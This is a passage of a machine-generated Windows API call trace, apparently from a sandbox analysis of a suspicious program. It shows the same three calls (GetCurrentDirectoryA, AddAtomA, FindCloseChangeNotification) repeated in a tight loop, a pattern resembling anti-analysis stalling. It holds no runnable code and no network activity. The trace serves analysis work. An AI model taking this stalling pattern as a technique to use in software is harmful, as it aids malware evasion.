lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.257] AddAtomA (lpString=0x0) returned 0x0 [0056.257] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.257] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.257] AddAtomA (lpString=0x0) returned 0x0 [0056.257] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.257] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.257] AddAtomA (lpString=0x0) returned 0x0 [0056.257] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.257] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.257] AddAtomA (lpString=0x0) returned 0x0 [0056.257] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.257] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.257] AddAtomA (lpString=0x0) returned 0x0 [0056.257] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.257] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.257] AddAtomA (lpString=0x0) returned 0x0 [0056.257] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.258] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.258] AddAtomA (lpString=0x0) returned 0x0 [0056.258] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.258] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.258] AddAtomA (lpString=0x0) returned 0x0 [0056.258] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.258] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.258] AddAtomA (lpString=0x0) returned 0x0 [0056.258] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.258] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.258] AddAtomA (lpString=0x0) returned 0x0 [0056.258] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.258] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.258] AddAtomA (lpString=0x0) returned 0x0 [0056.258] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.258] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.258] AddAtomA (lpString=0x0) returned 0x0 [0056.258] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.258] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.258] AddAtomA (lpString=0x0) returned 0x0 [0056.258] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.258] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.258] AddAtomA (lpString=0x0) returned 0x0 [0056.258] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.258] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.258] AddAtomA (lpString=0x0) returned 0x0 [0056.258] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.258] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.258] AddAtomA (lpString=0x0) returned 0x0 [0056.258] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.258] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.258] AddAtomA (lpString=0x0) returned 0x0 [0056.258] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.259] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.259] AddAtomA (lpString=0x0) returned 0x0 [0056.259] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.259] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.259] AddAtomA (lpString=0x0) returned 0x0 [0056.259] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.259] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.259] AddAtomA (lpString=0x0) returned 0x0 [0056.259] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.259] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.259] AddAtomA (lpString=0x0) returned 0x0 [0056.259] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.259] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.259] AddAtomA (lpString=0x0) returned 0x0 [0056.259] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.259] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.259] AddAtomA (lpString=0x0) returned 0x0 [0056.259] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.259] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.259] AddAtomA (lpString=0x0) returned 0x0 [0056.259] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.259] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.259] AddAtomA (lpString=0x0) returned 0x0 [0056.259] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.259] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.259] AddAtomA (lpString=0x0) returned 0x0 [0056.259] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.259] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.259] AddAtomA (lpString=0x0) returned 0x0 [0056.259] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.259] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.259] AddAtomA (lpString=0x0) returned 0x0 [0056.259] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.260] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.260] AddAtomA (lpString=0x0) returned 0x0 [0056.260] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.260] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.260] AddAtomA (lpString=0x0) returned 0x0 [0056.260] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.260] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.260] AddAtomA (lpString=0x0) returned 0x0 [0056.260] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.260] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.260] AddAtomA (lpString=0x0) returned 0x0 [0056.260] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.260] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.260] AddAtomA (lpString=0x0) returned 0x0 [0056.260] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.260] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.260] AddAtomA (lpString=0x0) returned 0x0 [0056.260] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.260] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.260] AddAtomA (lpString=0x0) returned 0x0 [0056.260] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.260] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.260] AddAtomA (lpString=0x0) returned 0x0 [0056.260] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.260] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.260] AddAtomA (lpString=0x0) returned 0x0 [0056.260] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.260] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.260] AddAtomA (lpString=0x0) returned 0x0 [0056.261] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.261] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.261] AddAtomA (lpString=0x0) returned 0x0 [0056.261] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.261] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.261] AddAtomA (lpString=0x0) returned 0x0 [0056.261] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.261] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.261] AddAtomA (lpString=0x0) returned 0x0 [0056.261] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.261] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.261] AddAtomA (lpString=0x0) returned 0x0 [0056.261] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.261] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.261] AddAtomA (lpString=0x0) returned 0x0 [0056.261] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.261] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.261] AddAtomA (lpString=0x0) returned 0x0 [0056.261] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.261] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.261] AddAtomA (lpString=0x0) returned 0x0 [0056.261] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.261] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.261] AddAtomA (lpString=0x0) returned 0x0 [0056.261] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.261] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.261] AddAtomA (lpString=0x0) returned 0x0 [0056.261] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.261] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.261] AddAtomA (lpString=0x0) returned 0x0 [0056.261] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.261] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.261] AddAtomA (lpString=0x0) returned 0x0 [0056.261] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.262] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.262] AddAtomA (lpString=0x0) returned 0x0 [0056.262] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.262] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.262] AddAtomA (lpString=0x0) returned 0x0 [0056.262] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.262] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.262] AddAtomA (lpString=0x0) returned 0x0 [0056.262] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.262] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.262] AddAtomA (lpString=0x0) returned 0x0 [0056.262] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.262] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.262] AddAtomA (lpString=0x0) returned 0x0 [0056.262] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.262] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.262] AddAtomA (lpString=0x0) returned 0x0 [0056.262] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.262] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.262] AddAtomA (lpString=0x0) returned 0x0 [0056.262] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.262] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.262] AddAtomA (lpString=0x0) returned 0x0 [0056.262] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.262] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.262] AddAtomA (lpString=0x0) returned 0x0 [0056.262] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.262] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.262] AddAtomA (lpString=0x0) returned 0x0 [0056.262] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.262] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.262] AddAtomA (lpString=0x0) returned 0x0 [0056.263] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.263] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.263] AddAtomA (lpString=0x0) returned 0x0 [0056.263] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.263] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.263] AddAtomA (lpString=0x0) returned 0x0 [0056.263] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.263] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.263] AddAtomA (lpString=0x0) returned 0x0 [0056.263] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.263] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.263] AddAtomA (lpString=0x0) returned 0x0 [0056.263] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.263] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.263] AddAtomA (lpString=0x0) returned 0x0 [0056.263] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.263] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.263] AddAtomA (lpString=0x0) returned 0x0 [0056.263] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.263] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.263] AddAtomA (lpString=0x0) returned 0x0 [0056.263] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.263] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.263] AddAtomA (lpString=0x0) returned 0x0 [0056.263] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.263] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.263] AddAtomA (lpString=0x0) returned 0x0 [0056.263] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.263] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.263] AddAtomA (lpString=0x0) returned 0x0 [0056.263] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.263] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.263] AddAtomA (lpString=0x0) returned 0x0 [0056.264] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.264] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.264] AddAtomA (lpString=0x0) returned 0x0 [0056.264] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.264] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.264] AddAtomA (lpString=0x0) returned 0x0 [0056.264] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.264] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.264] AddAtomA (lpString=0x0) returned 0x0 [0056.264] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.264] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.264] AddAtomA (lpString=0x0) returned 0x0 [0056.264] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.264] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.264] AddAtomA (lpString=0x0) returned 0x0 [0056.264] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.264] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.264] AddAtomA (lpString=0x0) returned 0x0 [0056.264] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.264] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.264] AddAtomA (lpString=0x0) returned 0x0 [0056.264] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.264] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.264] AddAtomA (lpString=0x0) returned 0x0 [0056.264] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.264] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.264] AddAtomA (lpString=0x0) returned 0x0 [0056.264] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.264] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.264] AddAtomA (lpString=0x0) returned 0x0 [0056.264] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.264] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.264] AddAtomA (lpString=0x0) returned 0x0 [0056.264] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.265] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.265] AddAtomA (lpString=0x0) returned 0x0 [0056.265] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.265] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.265] AddAtomA (lpString=0x0) returned 0x0 [0056.265] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.265] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.265] AddAtomA (lpString=0x0) returned 0x0 [0056.265] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.265] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.265] AddAtomA (lpString=0x0) returned 0x0 [0056.265] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.265] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.265] AddAtomA (lpString=0x0) returned 0x0 [0056.265] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.265] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.265] AddAtomA (lpString=0x0) returned 0x0 [0056.265] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.265] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.265] AddAtomA (lpString=0x0) returned 0x0 [0056.265] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.265] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.265] AddAtomA (lpString=0x0) returned 0x0 [0056.265] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.265] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.265] AddAtomA (lpString=0x0) returned 0x0 [0056.265] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.265] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.265] AddAtomA (lpString=0x0) returned 0x0 [0056.265] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.265] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.265] AddAtomA (lpString=0x0) returned 0x0 [0056.265] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.265] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.266] AddAtomA (lpString=0x0) returned 0x0 [0056.266] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.266] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.266] AddAtomA (lpString=0x0) returned 0x0 [0056.266] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.266] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.266] AddAtomA (lpString=0x0) returned 0x0 [0056.266] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.266] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.266] AddAtomA (lpString=0x0) returned 0x0 [0056.266] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.266] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.266] AddAtomA (lpString=0x0) returned 0x0 [0056.266] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.266] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.266] AddAtomA (lpString=0x0) returned 0x0 [0056.266] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.266] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.266] AddAtomA (lpString=0x0) returned 0x0 [0056.266] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.266] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.266] AddAtomA (lpString=0x0) returned 0x0 [0056.266] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.266] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.266] AddAtomA (lpString=0x0) returned 0x0 [0056.266] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.266] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.266] AddAtomA (lpString=0x0) returned 0x0 [0056.266] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.266] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.266] AddAtomA (lpString=0x0) returned 0x0 [0056.266] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.266] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.267] AddAtomA (lpString=0x0) returned 0x0 [0056.267] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.267] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.267] AddAtomA (lpString=0x0) returned 0x0 [0056.267] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.267] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.267] AddAtomA (lpString=0x0) returned 0x0 [0056.267] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.267] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.267] AddAtomA (lpString=0x0) returned 0x0 [0056.267] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.267] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.267] AddAtomA (lpString=0x0) returned 0x0 [0056.267] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.267] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.267] AddAtomA (lpString=0x0) returned 0x0 [0056.267] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.267] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.267] AddAtomA (lpString=0x0) returned 0x0 [0056.267] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.267] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.267] AddAtomA (lpString=0x0) returned 0x0 [0056.267] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.267] GetCurrentDirectoryA (in: 